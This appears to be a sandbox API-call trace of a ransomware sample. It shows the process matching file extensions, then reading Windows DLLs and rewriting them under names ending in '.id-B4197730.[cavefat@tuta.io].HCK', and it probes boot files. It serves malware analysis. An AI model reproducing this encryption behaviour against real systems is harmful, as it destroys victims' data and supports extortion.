[0246.085] lstrlenW (lpString=".dbf") returned 4 [0246.085] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0246.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0246.085] lstrlenW (lpString=".1cd") returned 4 [0246.085] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0246.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0246.085] lstrlenW (lpString=".jpg") returned 4 [0246.085] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0246.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0246.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0246.085] lstrlenW (lpString=".doc") returned 4 [0246.085] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0246.085] lstrlenW (lpString=".docx") returned 5 [0246.085] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0246.085] lstrlenW (lpString=".pdf") returned 4 [0246.085] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0246.085] lstrlenW (lpString=".xls") returned 4 [0246.085] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0246.085] lstrlenW (lpString=".xlsx") returned 5 [0246.085] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0246.085] lstrlenW (lpString=".ppt") returned 4 [0246.085] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0246.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0246.085] lstrlenW (lpString=".zip") returned 4 [0246.085] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0246.085] lstrlenW (lpString=".rar") returned 4 [0246.085] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0246.085] lstrlenW (lpString=".bz2") returned 4 [0246.085] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0246.085] lstrlenW (lpString=".7z") returned 3 [0246.085] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0246.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0246.085] lstrlenW (lpString=".dbf") returned 4 [0246.085] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0246.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0246.085] lstrlenW (lpString=".1cd") returned 4 [0246.085] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0246.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0246.085] lstrlenW (lpString=".jpg") returned 4 [0246.085] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0246.086] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0246.086] lstrlenW (lpString="msvcp140.dll") returned 12 [0246.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0246.086] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=635040) returned 1 [0246.086] CloseHandle (hObject=0x35c) returned 1 [0246.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0246.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0246.086] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0246.086] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0246.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0246.087] GetLastError () returned 0x0 [0246.087] ReadFile (in: hFile=0x35c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x34efecc*=0x9b0a0, lpOverlapped=0x0) returned 1 [0246.103] WriteFile (in: hFile=0x360, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x9b0b0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x34efc94*=0x9b0b0, lpOverlapped=0x0) returned 1 [0246.580] ReadFile (in: hFile=0x35c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0246.580] WriteFile (in: hFile=0x360, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x34efc94*=0xec, lpOverlapped=0x0) returned 1 [0246.581] SetEndOfFile (hFile=0x360) returned 1 [0246.581] CloseHandle (hObject=0x360) returned 1 [0246.581] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0246.581] SetEndOfFile (hFile=0x35c) returned 1 [0246.585] CloseHandle (hObject=0x35c) returned 1 [0246.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) Thread: id = 381 os_tid = 0xefc [0245.492] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3a51058 [0245.492] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3a61060 [0245.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e828 [0245.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x5bc678 [0245.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57ea38 [0245.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3fe1020 [0245.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57eaf8 [0245.496] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57eaf8, Size=0x20) returned 0x55ebd8 [0245.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e8b8 [0245.496] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e8b8, Size=0x20) returned 0x55eb88 [0245.496] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.496] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.496] Wow64DisableWow64FsRedirection (in: OldValue=0x362ff50 | out: OldValue=0x362ff50*=0x0) returned 1 [0245.496] lstrlenW (lpString="kernel32.dll") returned 12 [0245.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ebd8 | out: hHeap=0x520000) returned 1 [0245.496] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55eb88 | out: hHeap=0x520000) returned 1 [0245.496] Sleep (dwMilliseconds=0x64) [0245.686] lstrcmpiW (lpString1=".MARKER", lpString2=".HCK") returned 1 [0245.686] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0245.686] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0245.687] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=0) returned 1 [0245.687] CloseHandle (hObject=0x330) returned 1 [0245.687] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0245.687] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0245.687] lstrlenW (lpString=".doc") returned 4 [0245.687] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0245.687] lstrlenW (lpString=".docx") returned 5 [0245.687] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0245.687] lstrlenW (lpString=".pdf") returned 4 [0245.687] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0245.687] lstrlenW (lpString=".xls") returned 4 [0245.687] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0245.687] lstrlenW (lpString=".xlsx") returned 5 [0245.687] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0245.687] lstrlenW (lpString=".ppt") returned 4 [0245.687] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0245.687] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0245.687] lstrlenW (lpString=".zip") returned 4 [0245.687] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0245.687] lstrlenW (lpString=".rar") returned 4 [0245.687] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0245.687] lstrlenW (lpString=".bz2") returned 4 [0245.687] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0245.687] lstrlenW (lpString=".7z") returned 3 [0245.687] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0245.687] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0245.687] lstrlenW (lpString=".dbf") returned 4 [0245.687] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0245.687] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0245.687] lstrlenW (lpString=".1cd") returned 4 [0245.687] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0245.687] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0245.687] lstrlenW (lpString=".jpg") returned 4 [0245.687] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0245.687] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0245.687] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0245.687] lstrlenW (lpString=".doc") returned 4 [0245.687] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0245.687] lstrlenW (lpString=".docx") returned 5 [0245.688] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0245.688] lstrlenW (lpString=".pdf") returned 4 [0245.688] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0245.688] lstrlenW (lpString=".xls") returned 4 [0245.688] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0245.688] lstrlenW (lpString=".xlsx") returned 5 [0245.688] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0245.688] lstrlenW (lpString=".ppt") returned 4 [0245.688] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0245.688] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0245.688] lstrlenW (lpString=".zip") returned 4 [0245.688] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0245.688] lstrlenW (lpString=".rar") returned 4 [0245.688] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0245.688] lstrlenW (lpString=".bz2") returned 4 [0245.688] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0245.688] lstrlenW (lpString=".7z") returned 3 [0245.688] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0245.688] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0245.688] lstrlenW (lpString=".dbf") returned 4 [0245.688] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0245.688] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0245.688] lstrlenW (lpString=".1cd") returned 4 [0245.688] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0245.688] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0245.688] lstrlenW (lpString=".jpg") returned 4 [0245.688] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0245.688] lstrlenW (lpString="BCD") returned 3 [0245.688] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.688] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0245.688] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0245.688] lstrlenW (lpString=".doc") returned 4 [0245.688] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0245.688] lstrlenW (lpString=".docx") returned 5 [0245.688] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0245.688] lstrlenW (lpString=".pdf") returned 4 [0245.688] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0245.688] lstrlenW (lpString=".xls") returned 4 [0245.688] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0245.688] lstrlenW (lpString=".xlsx") returned 5 [0245.688] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0245.688] lstrlenW (lpString=".ppt") returned 4 [0245.688] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0245.688] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0245.689] lstrlenW (lpString=".zip") returned 4 [0245.689] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString=".rar") returned 4 [0245.689] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString=".bz2") returned 4 [0245.689] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString=".7z") returned 3 [0245.689] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0245.689] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0245.689] lstrlenW (lpString=".dbf") returned 4 [0245.689] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0245.689] lstrlenW (lpString=".1cd") returned 4 [0245.689] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0245.689] lstrlenW (lpString=".jpg") returned 4 [0245.689] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0245.689] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0245.689] lstrlenW (lpString=".doc") returned 4 [0245.689] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString=".docx") returned 5 [0245.689] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0245.689] lstrlenW (lpString=".pdf") returned 4 [0245.689] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString=".xls") returned 4 [0245.689] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString=".xlsx") returned 5 [0245.689] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0245.689] lstrlenW (lpString=".ppt") returned 4 [0245.689] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0245.689] lstrlenW (lpString=".zip") returned 4 [0245.689] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString=".rar") returned 4 [0245.689] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString=".bz2") returned 4 [0245.689] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString=".7z") returned 3 [0245.689] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0245.689] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0245.689] lstrlenW (lpString=".dbf") returned 4 [0245.689] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0245.689] lstrlenW (lpString=".1cd") returned 4 [0245.689] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0245.689] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0245.689] lstrlenW (lpString=".jpg") returned 4 [0245.689] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0245.690] lstrcmpiW (lpString1=".LOG1", lpString2=".HCK") returned 1 [0245.690] lstrlenW (lpString="BCD.LOG1") returned 8 [0245.690] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0245.690] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=0) returned 1 [0245.690] CloseHandle (hObject=0x330) returned 1 [0245.690] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0245.690] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0245.690] lstrlenW (lpString=".doc") returned 4 [0245.690] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0245.690] lstrlenW (lpString=".docx") returned 5 [0245.690] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0245.690] lstrlenW (lpString=".pdf") returned 4 [0245.690] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0245.690] lstrlenW (lpString=".xls") returned 4 [0245.690] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0245.690] lstrlenW (lpString=".xlsx") returned 5 [0245.690] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0245.690] lstrlenW (lpString=".ppt") returned 4 [0245.690] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0245.690] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0245.690] lstrlenW (lpString=".zip") returned 4 [0245.690] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0245.690] lstrlenW (lpString=".rar") returned 4 [0245.690] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0245.690] lstrlenW (lpString=".bz2") returned 4 [0245.690] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0245.690] lstrlenW (lpString=".7z") returned 3 [0245.690] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0245.690] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0245.690] lstrlenW (lpString=".dbf") returned 4 [0245.690] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0245.690] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0245.691] lstrlenW (lpString=".1cd") returned 4 [0245.691] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0245.691] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0245.691] lstrlenW (lpString=".jpg") returned 4 [0245.691] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0245.691] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0245.691] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0245.691] lstrlenW (lpString=".doc") returned 4 [0245.691] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0245.691] lstrlenW (lpString=".docx") returned 5 [0245.691] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0245.691] lstrlenW (lpString=".pdf") returned 4 [0245.691] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0245.691] lstrlenW (lpString=".xls") returned 4 [0245.691] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0245.691] lstrlenW (lpString=".xlsx") returned 5 [0245.691] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0245.691] lstrlenW (lpString=".ppt") returned 4 [0245.691] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0245.691] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0245.691] lstrlenW (lpString=".zip") returned 4 [0245.691] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0245.691] lstrlenW (lpString=".rar") returned 4 [0245.691] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0245.691] lstrlenW (lpString=".bz2") returned 4 [0245.691] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0245.691] lstrlenW (lpString=".7z") returned 3 [0245.691] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0245.691] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0245.691] lstrlenW (lpString=".dbf") returned 4 [0245.691] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0245.691] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0245.691] lstrlenW (lpString=".1cd") returned 4 [0245.691] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0245.691] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0245.691] lstrlenW (lpString=".jpg") returned 4 [0245.691] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0245.691] lstrcmpiW (lpString1=".LOG2", lpString2=".HCK") returned 1 [0245.691] lstrlenW (lpString="BCD.LOG2") returned 8 [0245.691] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0245.692] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=0) returned 1 [0245.692] CloseHandle (hObject=0x330) returned 1 [0245.692] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0245.692] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0245.692] lstrlenW (lpString=".doc") returned 4 [0245.692] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0245.692] lstrlenW (lpString=".docx") returned 5 [0245.692] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0245.692] lstrlenW (lpString=".pdf") returned 4 [0245.692] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0245.692] lstrlenW (lpString=".xls") returned 4 [0245.692] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0245.692] lstrlenW (lpString=".xlsx") returned 5 [0245.692] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0245.692] lstrlenW (lpString=".ppt") returned 4 [0245.692] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0245.692] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0245.692] lstrlenW (lpString=".zip") returned 4 [0245.692] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0245.692] lstrlenW (lpString=".rar") returned 4 [0245.692] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0245.692] lstrlenW (lpString=".bz2") returned 4 [0245.692] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0245.692] lstrlenW (lpString=".7z") returned 3 [0245.692] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0245.692] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0245.692] lstrlenW (lpString=".dbf") returned 4 [0245.692] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0245.692] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0245.692] lstrlenW (lpString=".1cd") returned 4 [0245.692] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0245.692] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0245.692] lstrlenW (lpString=".jpg") returned 4 [0245.692] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0245.692] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0245.692] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0245.692] lstrlenW (lpString=".doc") returned 4 [0245.692] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0245.692] lstrlenW (lpString=".docx") returned 5 [0245.692] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0245.693] lstrlenW (lpString=".pdf") returned 4 [0245.693] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0245.693] lstrlenW (lpString=".xls") returned 4 [0245.693] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0245.693] lstrlenW (lpString=".xlsx") returned 5 [0245.693] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0245.693] lstrlenW (lpString=".ppt") returned 4 [0245.693] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0245.693] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0245.693] lstrlenW (lpString=".zip") returned 4 [0245.693] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0245.693] lstrlenW (lpString=".rar") returned 4 [0245.693] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0245.693] lstrlenW (lpString=".bz2") returned 4 [0245.693] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0245.693] lstrlenW (lpString=".7z") returned 3 [0245.693] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0245.693] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0245.693] lstrlenW (lpString=".dbf") returned 4 [0245.693] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0245.693] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0245.693] lstrlenW (lpString=".1cd") returned 4 [0245.693] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0245.693] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0245.693] lstrlenW (lpString=".jpg") returned 4 [0245.693] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0245.693] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0245.693] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0245.693] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0245.693] GetFileSizeEx (in: 